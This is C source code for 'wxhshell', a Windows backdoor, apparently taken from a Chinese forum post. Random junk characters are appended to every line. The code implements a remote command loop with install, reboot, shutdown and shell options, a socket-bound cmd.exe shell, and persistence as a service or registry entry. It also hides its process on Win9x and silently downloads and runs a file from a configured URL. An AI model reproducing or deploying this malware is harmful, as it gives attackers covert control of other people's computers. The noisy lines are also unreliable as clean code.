    switch(cmd[0]) { z/Mhu{ttL  
  9P,A t8V(  
  // 帮助 oRtY?6^$  
  case '?': { bqf]$}/8k  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); f z/?=  
    break; MZ >0K  
  } g~i''lng  
  // 安装 ?(|TP^  
  case 'i': { 9OO0Ht4j  
    if(Install()) i75?*ld  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `"^@[1  
    else =PeW$q+  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); N7Z(lI|a;  
    break; .j+2x[`l  
    } Huug_E+  
  // 卸载 `SSP53R(0  
  case 'r': { J%O[@jX1  
    if(Uninstall()) NoSqzJyh  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); W}<M?b4tP  
    else <Bob#Tf ~  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .3g\[p   
    break; GSUOMy[M-  
    } @ B}c4,  
  // 显示 wxhshell 所在路径 [|m>vY!  
  case 'p': { &})4?5  
    char svExeFile[MAX_PATH]; .yHHogbt  
    strcpy(svExeFile,"\n\r"); ID{Pzmt-  
      strcat(svExeFile,ExeFile); 8O;rp(N.n  
        send(wsh,svExeFile,strlen(svExeFile),0); }SJLBy0  
    break; sbq44L)  
    } wKeSPs{x  
  // 重启 S|=rF<]my  
  case 'b': { f(9$"Vi  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); gzJ{Gau{)  
    if(Boot(REBOOT)) 7kWZMi  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;{F;e)${M  
    else { z!t3xFN&/  
    closesocket(wsh); Kr+Bt y  
    ExitThread(0); qNuv?.7  
    } $O8EiC!f6  
    break; h\: tUEg#J  
    } /hA}9+/  
  // 关机 =c5 /cpZ^  
  case 'd': { Hi4@!]  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 5G42vTDzS4  
    if(Boot(SHUTDOWN)) ;]O 7^s#v  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Rp4BU"&sU  
    else { !MG>z\:  
    closesocket(wsh); (fLbg,  
    ExitThread(0); =>9.@`.  
    } NiJ?no  
    break; gC,0+Y~  
    } _,-M8=dL%*  
  // 获取shell 1dgN10  
  case 's': { %lqG*dRx0  
    CmdShell(wsh); X G@>1/  
    closesocket(wsh); pN^G[  
    ExitThread(0); aGzdur  
    break; VHXR)}  
  } $4ZDT]n  
  // 退出 #\!hBL @b  
  case 'x': { "l2N_xX;  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); [7 Kj$PB3  
    CloseIt(wsh); gWU(uBS  
    break; 5GWM )vrZg  
    } JwG5#CFu^  
  // 离开 " :nVigw&  
  case 'q': { {u[K ^G  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); _R!!4Hp<Q  
    closesocket(wsh); . AQ3zpy5B  
    WSACleanup(); BOl$UJ|K  
    exit(1); l.W1$g  
    break; x.4)p6  
        } ` a<|CcUGU  
  } JcALFKLB  
  } )*QTxN  
 "lnk  
  // 提示信息 + 1%^c(3  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =jd=Qs IL  
} pa> 2JF*  
  } 1_E3DXe  
:92a34  
  return; ~4 xBa:*z  
} NB6h/0*v  
:Tl6:=B  
// shell模块句柄 KL_}:O68  
int CmdShell(SOCKET sock) /n3&e  
{ 0o'ML""j  
STARTUPINFO si; Jtk.v49Ad>  
ZeroMemory(&si,sizeof(si)); f`";Q/rG  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ,9j:h)ks?  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; =rtA{g$)+  
PROCESS_INFORMATION ProcessInfo; a*wJcJTpV"  
char cmdline[]="cmd"; x jUH<LFxy  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); }T*xT>p^3  
  return 0; W;@ae,^  
} R8W4 4I*R:  
l$ _+WC*wp  
// 自身启动模式 l?<z1Acd&  
int StartFromService(void) z{M,2  
{ n[w,x;  
typedef struct ZCF-*nm  
{ W2LblZE!  
  DWORD ExitStatus; |"E9DD]{  
  DWORD PebBaseAddress; YGO7lar  
  DWORD AffinityMask; r#w_=h)  
  DWORD BasePriority; )aA9z(x  
  ULONG UniqueProcessId; MldL"*HW:  
  ULONG InheritedFromUniqueProcessId; \iE9&3Ie  
}   PROCESS_BASIC_INFORMATION; tS\NO@E_Jh  
xr-`i  
PROCNTQSIP NtQueryInformationProcess; _CwQ}n*  
%+W >+xRb  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; /F9lW}pd  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 7wEG<,D  
D\&y(=fzf  
  HANDLE             hProcess; R3!vS+5rR  
  PROCESS_BASIC_INFORMATION pbi; X|B;>q  
< 3+&DV-<N  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); h}<ZZ  
  if(NULL == hInst ) return 0; 5Cyjq0+  
t4c#' y  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); imq(3?  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); =]mx"0i[  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); J0W).mD_H  
TK?+O}v-]!  
  if (!NtQueryInformationProcess) return 0; !OVEA^6  
kxf=%<l  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); s ^@Cq=  
  if(!hProcess) return 0; ]TprPU39  
P&`r87J  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; l%5%oN`4  
[MP :Eeg  
  CloseHandle(hProcess); 1e| M6*  
g*imswj7  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); R2ZQBwB  
if(hProcess==NULL) return 0; x#VUEu]8  
:%oj'm44!  
HMODULE hMod; VIdoT2  
char procName[255]; &bgi0)>  
unsigned long cbNeeded; O}!@28|3"  
O9&:(2'f  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Z_WTMs:x!  
wz)9/bL  
  CloseHandle(hProcess); 8mddI  
nv Gd:]Z  
if(strstr(procName,"services")) return 1; // 以服务启动 yzl\{I&  
n k3lC/f  
  return 0; // 注册表启动 ",_  
} &V{,D))6[  
ov>L-  
// 主模块 BtApl)q#  
int StartWxhshell(LPSTR lpCmdLine) eE_XwLE  
{ 7f,W zvV  
  SOCKET wsl; L umD.3<  
BOOL val=TRUE; ?Gw89r  
  int port=0; <&Xq`i/(  
  struct sockaddr_in door; R*C+Yk)Tkt  
Dx)XC?'xO  
  if(wscfg.ws_autoins) Install(); 'Rw] C[  
m6<0 hP  
port=atoi(lpCmdLine); ZU'^%)6~o~  
fOervo  
if(port<=0) port=wscfg.ws_port; K 8c#/o  
,X6j$YLWp  
  WSADATA data; x^skoz  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; oF^hq-xcP  
,lM2BXz%  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   cBf{R^>Fd  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ^C| 9K>M  
  door.sin_family = AF_INET; _oVA0@#n  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ?{")Wt  
  door.sin_port = htons(port); =@  
YcZ4y@6"  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Y\\nJuJo  
closesocket(wsl); Ls*=mh~IY  
return 1; >AFpO*q"  
} XnOl*#P  
M3`A&*\;  
  if(listen(wsl,2) == INVALID_SOCKET) { kn|l3+  
closesocket(wsl); U8z"{  
return 1; X#<Sv>c^  
} ibw;BU  
  Wxhshell(wsl); EBLoRW=8ld  
  WSACleanup(); ;mlIWn  
]~ UkD*Ct  
return 0; giJyMd}x  
RVx<2,['  
} k<qH<<r*  
j-|0&X1C  
// 以NT服务方式启动 zSCPp6  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) "PtH F`mo  
{ *^_!W'T{j  
DWORD   status = 0; |_m;@.44?U  
  DWORD   specificError = 0xfffffff; Ka{Zoi]  
5Oq;V: 7  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Vrh],xK7  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; MEUqQ4/Gl  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; CU_06A|}  
  serviceStatus.dwWin32ExitCode     = 0; (B#|3o  
  serviceStatus.dwServiceSpecificExitCode = 0;  cf!R  
  serviceStatus.dwCheckPoint       = 0; c Zr4  
  serviceStatus.dwWaitHint       = 0;  Z.JTq~`I  
KZNyp%q  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); /d'u1FnA =  
  if (hServiceStatusHandle==0) return; s&</zU'  
k#[s)Ja?s  
status = GetLastError(); !o!04_  
  if (status!=NO_ERROR) gs >cx]>  
{ ~!kbB4`WK  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; !6C d.fpWL  
    serviceStatus.dwCheckPoint       = 0; VRt*!v<")  
    serviceStatus.dwWaitHint       = 0; c qp#1oM4M  
    serviceStatus.dwWin32ExitCode     = status;  ]plC  
    serviceStatus.dwServiceSpecificExitCode = specificError; RoZV6U~  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8{u 01\0}  
    return; M czWg  
  } k#n=mm'N9  
m Y0C7i  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; XQ8Imkc  
  serviceStatus.dwCheckPoint       = 0; 06$9Uz9  
  serviceStatus.dwWaitHint       = 0; P0=F9`3wb  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); h@d m:=ul  
} = xk@Q7$  
5WYU&8+]{:  
// 处理NT服务事件,比如:启动、停止 DM95Il[/  
VOID WINAPI NTServiceHandler(DWORD fdwControl) uX[ "w|  
{ Ex3woT-  
switch(fdwControl) V^i3:'  
{ ./'n2$^3  
case SERVICE_CONTROL_STOP: gP@ni$n  
  serviceStatus.dwWin32ExitCode = 0; ]u';zJ.  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; %ZK}y{u\  
  serviceStatus.dwCheckPoint   = 0; DV l: s  
  serviceStatus.dwWaitHint     = 0; _?ZT[t<  
  { :*1w;>o)n  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 25L{bcng  
  } 3[rB:cE/  
  return; <4g^c&  
case SERVICE_CONTROL_PAUSE: TfPx   
  serviceStatus.dwCurrentState = SERVICE_PAUSED; (L1`]cp  
  break; nq=fSK(  
case SERVICE_CONTROL_CONTINUE: *)<tyIHd  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; @w0[5ZAj  
  break; @!$NUY8,A#  
case SERVICE_CONTROL_INTERROGATE: & \m\QI  
  break; ; F=_ozWV*  
}; ,n*.Yq  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); |zMQe}R@%  
} Gm. hBNgp  
Z=|@76  
// 标准应用程序主函数 &BgaFx**  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) vF,l?cU~  
{ AZa3!e/1  
#d~"bn q;c  
// 获取操作系统版本 1 .M?Hp9i  
OsIsNt=GetOsVer(); vl<J-+|0C  
GetModuleFileName(NULL,ExeFile,MAX_PATH); i]nE86.;  
luMNi^FQ  
  // 从命令行安装 OjN]mp-q  
  if(strpbrk(lpCmdLine,"iI")) Install(); r!#3>F;B  
4v>V7T.  
  // 下载执行文件 2B4c :jJ  
if(wscfg.ws_downexe) { 4Qv|Z+$i  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) t`AD9 H"\!  
  WinExec(wscfg.ws_filenam,SW_HIDE); ciTQH (G  
} "a: ;  
iB?@(10}ES  
if(!OsIsNt) { [V2l&ZUni  
// 如果时win9x,隐藏进程并且设置为注册表启动 ^{s)`j'I*  
HideProc(); "rXGXQu  
StartWxhshell(lpCmdLine); d^w_rL  
} 7-5q\[ZK  
else 0^m02\Li  
  if(StartFromService()) :* 'i\  
  // 以服务方式启动 ?d %_o@  
  StartServiceCtrlDispatcher(DispatchTable); BjH(E'K[b  
else ;cO0Y.V9l  
  // 普通方式启动 iJYr?3nw;  
  StartWxhshell(lpCmdLine); /EC m  
_ReQQti[  
return 0; 4MM#\  
}
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只看该作者 1 发表于: 2006-10-10
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